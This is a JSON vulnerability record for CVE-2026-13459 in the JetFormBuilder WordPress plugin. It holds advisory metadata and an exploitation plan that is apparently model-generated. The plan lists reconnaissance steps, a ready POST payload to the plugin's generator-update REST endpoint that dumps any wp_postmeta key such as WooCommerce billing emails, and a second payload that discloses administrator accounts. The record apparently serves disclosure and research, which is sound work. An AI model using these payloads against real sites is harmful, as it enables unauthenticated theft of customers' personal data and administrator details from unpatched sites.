[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f6jHjL6fYqdHJyDjlKn54-9KBwYdtAwnHKCfnIBcoUq4":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":32,"research_started_at":33,"research_completed_at":34,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":35},"CVE-2026-13459","jetformbuilder-missing-authorization-to-unauthenticated-sensitive-information-disclosure-via-context-parameter","JetFormBuilder \u003C= 3.6.3 - Missing Authorization to Unauthenticated Sensitive Information Disclosure via 'context' Parameter","The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.6.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to retrieve every distinct value stored under any arbitrary wp_postmeta key on the site — including WooCommerce billing PII such as _billing_email, _billing_phone, and _billing_address fields, order totals, attachment paths, and any third-party plugin credentials or tokens stored in post meta — provided at least one published JetFormBuilder form with a get_from_db generator field exists on the site. Exploitation requires that the target site has at least one published jet-form-builder post containing a field whose generator_function is set to get_from_db; an attacker must supply a matching form ID, field name, and generator ID in the request, but all of these can be discovered by browsing the site's public forms.","jetformbuilder",null,"\u003C=3.6.3","3.6.3.1","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Missing Authorization","2026-07-01 19:57:13","2026-07-02 08:33:05",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F26c19bd3-32ea-4e28-9cde-1a6653acf6f1?source=api-prod",1,[22,23,24,25,26,27],"includes\u002Fgenerators\u002Fget-from-db.php","includes\u002Fgenerators\u002Fget-from-users.php","includes\u002Fgenerators\u002Fregistry.php","jet-form-builder.php","modules\u002Foption-field\u002Frest-api\u002Fgenerator-update-endpoint.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-13459 (JetFormBuilder)\n\n## 1. Vulnerability Summary\nThe JetFormBuilder plugin for WordPress is vulnerable to an unauthenticated sensitive information disclosure. The vulnerability resides in the `Get_From_DB` generator, which is designed to dynamically populate form fields (like Select or Checkbox) with unique values from the `wp_postmeta` table.\n\nThe `Generator_Update_Endpoint` REST API allows unauthenticated users to trigger option regeneration. When the `get_from_db` generator is used, the `generate_with_context` method fails to validate the `meta_key` provided in the `context` parameter. This allows an attacker to supply any arbitrary meta key, causing the plugin to execute a `SELECT DISTINCT` query on that key and return all unique values found in the database.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `POST \u002Fwp-json\u002Fjet-form-builder-v2\u002Fv1\u002Fgenerator-update` (Namespace `jet-form-builder-v2\u002Fv1` is standard for this module).\n- **Action:** `WP_REST_Server::CREATABLE` (POST request).\n- **Vulnerable Parameter:** `context` (specifically the first value in the `context` associative array).\n- **Required Parameters:** \n    - `form_id`: The ID of a published JetFormBuilder form.\n    - `field_name`: The name of a field within that form using the `get_from_db` generator.\n    - `generator_id`: Must be `get_from_db`.\n- **Authentication:** None (Unauthenticated).\n- **Precondition:** A published JetFormBuilder form must exist containing at least one field configured to use the \"Get values list from database\" generator.\n\n## 3. Code Flow\n1.  **Entry Point:** An unauthenticated request hits `JFB_Modules\\Option_Field\\Rest_Api\\Generator_Update_Endpoint::run_callback()`.\n2.  **Permission Check:** `check_permission()` returns `true`, allowing the request to proceed.\n3.  **Form Resolution:** `resolve_form_post()` validates that the `form_id` belongs to a published `jet-form-builder` post.\n4.  **Attribute Retrieval:** `get_block_attrs_from_post()` retrieves the attributes for the specified `field_name` from the form post's content.\n5.  **Generator Validation:** The code verifies that the requested `generator_id` matches the `generator_function` attribute saved in the form (preventing arbitrary generator execution).\n6.  **Generator Execution:** `Registry::instance()->generate()` is called with the requested `generator_id`, `block_attrs`, and the attacker-supplied `context`.\n7.  **Context Injection (The Sink):** In `Jet_Form_Builder\\Generators\\Get_From_DB::generate_with_context()`:\n    -   The code calls `reset( $context )` to get the first value from the context array.\n    -   It assigns this value to `$settings['meta_key']`.\n    -   It calls `$this->generate( $settings )`.\n8.  **Information Disclosure:** In `Get_From_DB::generate()`:\n    -   The `$meta_key` is used directly in a prepared statement: `SELECT DISTINCT meta_value FROM $table WHERE meta_key = %s`.\n    -   Every distinct value for that key in the `wp_postmeta` table is returned in the JSON response.\n\n## 4. Nonce Acquisition Strategy\nAccording to `Generator_Update_Endpoint::check_permission()`, the endpoint allows public access for frontend forms.\n-   **Verification:** `resolve_form_post` only checks a `preview_nonce` if the post status is **not** 'publish'.\n-   **Conclusion:** If targeting a published form (the standard use case), **no nonce is required**.\n\nIf a nonce were required for a specific environment (e.g., testing on a draft form), the following JS variable usually holds the REST nonce:\n`window.JetFormBuilderData?.rest_nonce`\n\n## 5. Exploitation Strategy\n### Step 1: Reconnaissance\nFind a published form and identify the necessary IDs.\n1.  Navigate to the homepage or any page containing a JetFormBuilder form.\n2.  Inspect the page source for `jet-form-builder-` classes.\n3.  Locate the form container and find the `data-form-id` attribute (e.g., `123`).\n4.  Locate an option field (Select\u002FRadio) and find its `name` attribute (e.g., `dynamic_field`).\n\n### Step 2: Payload Construction\nConstruct a JSON POST body targeting sensitive meta keys.\n-   **Target:** `_billing_email` (WooCommerce PII)\n-   **Endpoint:** `\u002Fwp-json\u002Fjet-form-builder-v2\u002Fv1\u002Fgenerator-update`\n\n### Step 3: Execution (HTTP Request)\nUse the `http_request` tool to send the exploit payload.\n\n```json\n{\n  \"method\": \"POST\",\n  \"url\": \"http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fjet-form-builder-v2\u002Fv1\u002Fgenerator-update\",\n  \"headers\": {\n    \"Content-Type\": \"application\u002Fjson\"\n  },\n  \"body\": \"{\\\"form_id\\\": 123, \\\"field_name\\\": \\\"dynamic_field\\\", \\\"generator_id\\\": \\\"get_from_db\\\", \\\"context\\\": {\\\"trigger\\\": \\\"_billing_email\\\"}}\"\n}\n```\n\n## 6. Test Data Setup\n1.  **Install JetFormBuilder** (v3.6.3).\n2.  **Create sensitive data:** Create a few WooCommerce orders or manually add sensitive post meta:\n    ```bash\n    wp post create --post_type=post --post_title=\"Dummy\" --post_status=publish\n    wp post meta add [POST_ID] _billing_email \"admin@victim.com\"\n    wp post meta add [POST_ID] _billing_email \"customer@victim.com\"\n    ```\n3.  **Create the vulnerable form:**\n    -   Create a new form (`jet-form-builder` post type).\n    -   Add a **Select Field**.\n    -   In the \"Fill Options From\" setting, choose **\"Get values list from database\"**.\n    -   Set a dummy \"Meta Key\" in the UI (e.g., `dummy_key`).\n    -   In the \"Generator Settings\" (sidebar), enable **\"Reload field options\"** (this ensures the REST endpoint is intended to work with this field).\n    -   Publish the form and note the **Form ID** and **Field Name**.\n\n## 7. Expected Results\nA successful response (HTTP 200) will contain a JSON object where the `options` array includes all unique values for the injected meta key.\n\n**Response Example:**\n```json\n{\n  \"success\": true,\n  \"options\": [\n    {\n      \"value\": \"admin@victim.com\",\n      \"label\": \"admin@victim.com\"\n    },\n    {\n      \"value\": \"customer@victim.com\",\n      \"label\": \"customer@victim.com\"\n    }\n  ]\n}\n```\n\n## 8. Verification Steps\nAfter the HTTP request, verify the data matches the database content using WP-CLI:\n```bash\nwp db query \"SELECT DISTINCT meta_value FROM wp_postmeta WHERE meta_key = '_billing_email'\"\n```\nThe values in the CLI output should match the values in the REST API response.\n\n## 9. Alternative Approaches\nIf `get_from_db` is not active on the target site, check if `get_from_users` is available.\n-   **Generator ID:** `get_from_users`\n-   **Logic:** `Get_From_Users::generate_with_context()` allows overriding the `roles` setting via the context.\n-   **Exploit:** Send a context value that corresponds to `administrator`.\n-   **Result:** Discloses `user_login`, `user_email`, or `display_name` of all administrators depending on the field's static configuration.\n\n**Payload for Administrator Disclosure:**\n```json\n{\n  \"form_id\": 123,\n  \"field_name\": \"user_select_field\",\n  \"generator_id\": \"get_from_users\",\n  \"context\": { \"trigger\": \"administrator\" }\n}\n```","gemini-3-flash-preview","2026-07-25 11:22:23","2026-07-25 11:23:12",{"type":36,"vulnerable_version":37,"fixed_version":11,"vulnerable_browse":38,"vulnerable_zip":39,"fixed_browse":40,"fixed_zip":41,"all_tags":42},"plugin","3.6.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fjetformbuilder\u002Ftags\u002F3.6.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fjetformbuilder.3.6.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fjetformbuilder\u002Ftags\u002F3.6.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fjetformbuilder.3.6.3.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fjetformbuilder\u002Ftags"]